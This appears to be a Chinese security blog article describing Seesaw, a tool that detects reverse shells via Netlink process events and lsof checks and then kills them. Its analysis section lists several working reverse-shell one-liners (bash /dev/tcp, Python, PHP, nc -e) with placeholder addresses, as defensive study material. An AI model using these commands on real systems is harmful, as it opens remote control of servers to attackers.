自動化反彈Shell防禦技術
*本文作者:zhanghaoyil,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。
前言
當命令注入點已經到手,Webshell已經就緒,nc已經監聽起來了,冒新鮮熱氣兒的Shell唾手可得的那種狂喜,大家還記得嗎?反彈Shell一般是外網滲透的最後一步,也是內網滲透的第一步。反彈Shell對伺服器安全乃至內網安全的危害不必多說。
雖然本diao主要是玩Web安全的,可主機安全監控也是要做起來的,誰讓咱是一個人的安全部呢?最近筆者潛心搞了一個反彈Shell攻擊自動發現和阻斷系統,本著技術共享的理念,當然也是為了讓各位大神看看有沒有繞過的可能,把這個技術分享出來,大家共勉。
專案GitHub: ofollow,noindex" target="_blank">Seesaw
0×1 反彈Shell解析
未知攻,焉知防?我們先來分析一下反彈Shell這個不新的滲透技術,看看有什麼入手點。反彈Shell顧名思義,有兩個關鍵詞——反彈和Shell。
反彈:利用命令執行/程式碼執行/Webshell/Redis未授權訪問寫入crontab等等漏洞,使目標伺服器發出主動連線請求,從而繞過防火牆的入站訪問控制規則。
Shell:使伺服器Shell程序stdin/stdout/stderr重定向到攻擊端。
常見的反彈Shell姿勢有(詳見文章):
bash -i >& /dev/tcp/ip/port 0>&1 python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" php -r 'exec("bash -i >& /dev/tcp/ip/port 0>&1");' php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");' nc -e /bin/bash ip port
通過仔細觀察,我們可以發現這些姿勢無一例外使用了重定向,這也是識別反彈Shell的突破口,且聽筆者細細道來。
我們知道Linux中一切皆檔案,正常情況下開啟Bash程序時,Bash程序的stdin、stdout、stderr會定向到終端裝置檔案(例如/dev/pts/0),如下示意圖:
此時Bash開啟的檔案描述符為:
可以看到bash程序已經打開了對應的字元裝置檔案描述符,用於將stdin(0u)/stdout(1u)/stderr(2u)等定向到字元裝置。
當出現反彈Shell時,例如最流行的姿勢bash -i >& /dev/tcp/ip/port 0>&1,我們來解析一下這條命令的意思。
bash -i:啟動互動式bash程序
& /dev/tcp/ip/port:將stdout/stderr重定向到與ip:port的tcp套接字中
0>&1:將stdin重定向到stdout中(此時stdout是重定向到套接字的,也就是說stdin也將從套接字中讀取)
綜上,這條命令是為了控制Bash程序,並獲得程序的標準輸出和錯誤輸出,採用重定向技術將stdin/stdout/stderr重定向到了套接字裝置中,此時輸入輸出的結構發生了變化,如下示意圖:
通過lsof命令可以看到此時的檔案描述符開啟情況:
可以發現stdin(0u)/stdout(1u)/stderr(2u)全都重定向到了TCP套接字中,而且此時程序所屬的使用者也變成了apache(執行Web服務的使用者),當前路徑就是Webshell所在的目錄。
先知社群有不錯的反彈Shell重定向分析: Linux反彈shell(一)檔案描述符與重定向 、 Linux 反彈shell(二)反彈shell的本質 。本文借鑑學習了這些文章內容,也正是通過對文章內容的學習啟發了以上我對反彈Shell的特徵提取思路,比心。
0×2 總體思路
綜合上述分析,反彈Shell的識別思路便浮出水面:
及時發現Bash程序啟動事件。
檢查Bash程序是否打開了終端裝置,是否有主動對外連線。
0×3 失敗嘗試
思路是有了,實現時卻發現困難重重,第一個深坑,就是如何在第一時間捕捉到Shell程序的啟動。為什麼要第一時間呢?如果給了黑客短暫的操作視窗,就可能被植入更深層的木馬/rootkit,甚至提權後直接把咱的監控程式幹掉,這是絕對不能容忍的。
在這個深坑裡,筆者撲騰了好幾回,下面介紹在坑中的各種嘗試,以及最終的成功方法。為啥失敗的經驗還要說呢?其實這些思路本身不壞,只是不太適合我們的專案目標,順便介紹給大家共勉。
Round 1 Sysloghistory of BASH
既然要發現Shell程序,第一個思路是從Bash本身入手,如果Bash執行命令,讓Bash程序自己告訴我。編譯Bash開啟命令history syslog功能,從而獲取bash命令、bash程序pid、uid、pwd之類有用的資訊,正好之前做異常命令識別時有過這個經驗,當時也借鑑了一些文章: 安全運維之如何將Linux歷史命令記錄發往遠端Rsyslog伺服器 。
說幹就幹,下載bash原始碼: https://ftp.gnu.org/gnu/bash/ 。
a. 開啟config-top.h 116行註釋,開啟bash syslog history功能:
b. 在bashhist.c 771行和776行自定義需要的syslog內容和格式,比如我最愛的JSON,但由於命令內容容易出現引號、轉義符等導致JSON解析不成功,單獨放在一列:
c. 修改rsyslog配置/etc/rsyslog.conf,用於本地儲存或者傳送至遠端日誌伺服器做分析,並重啟rsyslog服務(service rsyslog restart):
至此,所有呼叫Bash執行的命令都被我們記錄下來了:
是不是感覺勝利在望了?筆者當時也很興奮。可是在測試中發現如果反彈命令前面帶“sh -c”,就不會被記錄。這是不能容忍的缺陷,可是為啥記錄不到,找不到任何頭緒。沮喪的同時筆者深入思考,這個方法是不適合用於監控Shell程序啟動的,實際執行命令時再檢查就太晚了。
Round 2 proc檔案系統
此路不通不要氣餒,再接再厲。我們知道Linux系統有一個proc偽檔案系統,記錄著當前核心執行狀態等資訊,還有以程序id為名的一堆目錄,裡面是與該程序相關的執行資訊。能不能從proc檔案系統下手,實時監控Shel程序呢?
第一反應是用inotify監控/proc目錄建立目錄的事件,一旦建立新目錄就說明啟動了新程序,再進行相應的檢查。用pyinotify庫寫了一個監控程式:
class BashHandler(pyinotify.ProcessEvent): def process_IN_CREATE(self, event): print(event.path, event.name, event.dir, event.mask, event.maskname, event.pathname, event.wd) if __name__ == '__main__': wm = pyinotify.WatchManager() mask = pyinotify.IN_CREATE notifier = pyinotify.Notifier(wm, BashHandler()) wm.add_watch('/proc', mask, rec=False) while True: try: notifier.process_events() if notifier.check_events(): print('detached') notifier.read_events() except KeyboardInterrupt: notifier.stop() break
此時尷尬的事情出現了,inotify竟然捕捉不到任何/proc有關的讀寫事件! 仔細研究inotify的實現原理才知道,inotify監視著檔案inode,而proc偽檔案系統只是記憶體的對映沒有inode,自然不能通過inotify監控到。
Round 3 bash開啟事件
此時我把目光又轉回到bash本身。我們知道Bash程序啟動也就是會開啟/bin/bash這個可執行檔案,能不能用inotify監控/bin/bash的開啟事件呢?
inotifywait -m /bin/bash -e open
實踐證明,這回inotify沒有讓我們失望,每次bash開啟都被誠實地捕捉到了:
可是inotify太誠實了,甚至有點缺心眼,不會返回給我們開啟檔案的程序是誰。
此時更尷尬的事情出現了,當我們的程式捕捉到inotify事件從而對bash程序進行檢查時,/bin/bash又會被開啟!這就恐怖了,程式會進入到死迴圈裡,出現開啟事件,檢查程序,結果自己導致了新的開啟事件。物理學上這叫“自激”,KTV裡這叫“嘯叫”。
0×4 成功
Round 4 Netlink Socket
筆者越挫越勇,進入新一輪的研究。發現Linux有一個很好的IPC機制叫Netlink套接字,用於在核心與使用者程序之間傳遞訊息,其中就包括了程序事件資訊!
Netlink使用標準的socket api,我們只需要建立對應型別的netlink socket並進行監聽即可。參考: Netlink通訊機制 。
正好在GitHub上有一個基於netlink的python專案( https://github.com/dbrandt/proc_events ),自動建立程序事件netlink socket並監聽,返回一個yield生成器物件:
這個好極了,返回了很多有用的資訊。我們只需要監聽PROC_EVENT_EXEC事件,就可以獲取新建立程序的tgid(也就是lsof要用到的PID)用於檢查程序是否為反彈Shell。當然這個時候也需要採取必要的措施防止“自激”,我在程式碼使用了排除法,不檢查lsof程序自身的pid。而之前沒法防止自激,是因為inotify不能返回讀寫程序的pid。
利用Netlink套接字,我成功地實時捕捉到了Bash程序啟動事件。後面的事情要順利得多,只要使用lsof命令獲取程序開啟的檔案描述符,應用上面所述的識別邏輯即可,詳見程式碼(github專案agent/seesaw.py):
from proc_events.pec import pec_loop import subprocess import shlex import traceback import re import os white_list = ['192.168.204.5'] def check_for_reversed_shell(lsof): ''' if the process was bash which had got remote socket and not got tty, then it must be a reversed shell. :param lsof: :return: positive: bool peer: str remote socket ''' fds = [x.strip() for x in lsof.split('\n') if x] is_bash = has_socket = has_tty = False peer = pwd = None for fd in fds: detail = fd.split() fd = detail[3] t = detail[4] if t == 'CHR' and re.findall('(tty|pts|ptmx)', detail[-1]): has_tty = True elif 'IP' in t and detail[-1] == '(ESTABLISHED)': has_socket = True peer = detail[-2].split('->')[1] elif 'txt' in fd and re.findall('bash', detail[-1]): is_bash = True elif 'cwd' in fd: pwd = detail[-1] if peer: for ip in white_list: if peer.startswith(ip+':'): return False, None, None return (is_bash and has_socket and not has_tty), peer, pwd def deal(pid): # simple and efficient kill os.system('kill -9 %s' % (pid,)) if __name__ == "__main__": self_pids = [] for e in pec_loop(): if e['what'] == 'PROC_EVENT_EXEC': try: #exclude lsof processes if e['process_tgid'] in self_pids: self_pids.remove(e['process_tgid']) continue else: p = subprocess.Popen(shlex.split('lsof -p %s -Pn' % (e['process_tgid'])), stdout=subprocess.PIPE, stderr=subprocess.PIPE) # prevent self-excitation self_pids.append(int(p.pid)) out, err = p.communicate() if out: try: positive, peer, pwd = check_for_reversed_shell(out) if positive: deal(e['process_tgid']) print('######\n### Reversed Shell Detached ###\n' '### pid:%s ###\n' '### peer:%s ###\n' '### webshell directory: %s ###\n' '### Killed immediately. ###\n######' % (e['process_tgid'], peer, pwd)) except Exception as ex: traceback.print_exc(ex) except Exception as ex: traceback.print_exc(ex)
0×5 演示視訊
錄了一個Demo視訊,很小不到6M,流量黨可放心觀看。 Seesaw Demo
0×6 總結
自己對思考了一下,這個方法優缺點總結如下:
優點:
快速響應:由於Netlink通訊機制佔用系統資源很少,對於Shell程序啟動事件的響應基本無延時,後續主動檢測確認為反彈Shell後直接Kill。
繞過較難:由於一般反彈Shell的姿勢都是呼叫bash且通過重定向獲取bash的標準輸入輸出,因此沒有前置經驗的情況下基本都會被防禦住。
資訊全面:發現反彈Shell後,收集到Shell相關的資訊包括PID、SID(可用於判斷究竟是哪個程序組出現了漏洞)、當前路徑(方便查詢Webshell)、系統使用者等,可以再深入挖掘這個技術的應用場景,也可以統一彙總到SOC等分析平臺進行聯動。
缺點:
繞過風險:僅能通過程序執行檔名判斷是否為Shell程序,上傳可執行檔案、拷貝Bash檔案到其他路徑等方法會繞過這個方法。嚴格限制上傳檔案目錄的執行許可權、Bash檔案許可權可以有效限制這個風險。
檢測盲區:無法檢測到直接呼叫Webshell執行命令的事件,因此低許可權無互動的命令可以通過Webshell執行到。
本文所述反彈Shell識別方法,並不完美,把自己的思路分享出來,算是拋轉引玉吧,歡迎大家討論。
*本文作者:zhanghaoyil,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。